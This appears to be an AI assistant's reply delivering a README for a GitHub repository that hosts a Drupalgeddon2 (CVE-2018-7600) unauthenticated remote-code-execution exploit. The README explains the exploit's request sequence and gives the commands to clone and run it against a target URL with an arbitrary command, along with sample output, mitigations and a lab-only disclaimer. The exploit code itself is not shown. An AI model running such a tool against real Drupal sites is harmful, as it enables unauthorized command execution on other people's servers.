Alright boss, I've also added the usage section starting from git clone, so the README is complete. This is the final version that you just need to copy-paste into README.md on your GitHub repo.

CVE-2018-7600 - Drupalgeddon2 RCE Exploit

This exploit exploits a vulnerability in Drupal 7.56 (and some earlier versions) known as Drupalgeddon2.
This vulnerability allows Remote Code Execution (RCE) without authentication by exploiting a flaw in a vulnerable form.

🔗 Repository: https://github.com/xxxTectationxxx/CVE-2018-7600

⚠️ Warning

This script is made for educational purposes only and testing in a lab environment.
It is prohibited to use on systems without proper authorization to test.

🎯 Target Versions

• Drupal 7.x (including 7.56) that has not been patched.
• May also work on some early Drupal 8 versions.

📜 Brief Working Principle

1. Send a payload to the user/password endpoint with parameters that trigger the passthru() function in PHP.
2. Extract form_build_id from the server response.
3. Send a second request to execute the requested command.

📦 Installation & Usage

Clone the repository:

git clone https://github.com/xxxTectationxxx/CVE-2018-7600.git
cd CVE-2018-7600

Install dependencies:

pip install requests

Run the exploit:

python3 drupalgeddon2.py --URL <target_url> --COMMAND "<command>"

Example:

python3 drupalgeddon2.py --URL http://192.168.60.129 --COMMAND "whoami"

💻 Example Output

[*] Sending initial payload to target...
[+] form_build_id found: form-ABC123XYZ
[+] Command output:
www-data

🛡️ Mitigation

• Update Drupal to the latest version.
• Apply official security patches from Drupal.
• Restrict access to the server during the fix process.

📚 References

• Drupal Security Advisory SA-CORE-2018-002
• Exploit-DB Entry #44449

Disclaimer: The author is not responsible for misuse of this script. Use wisely and only on systems that are legitimate for testing.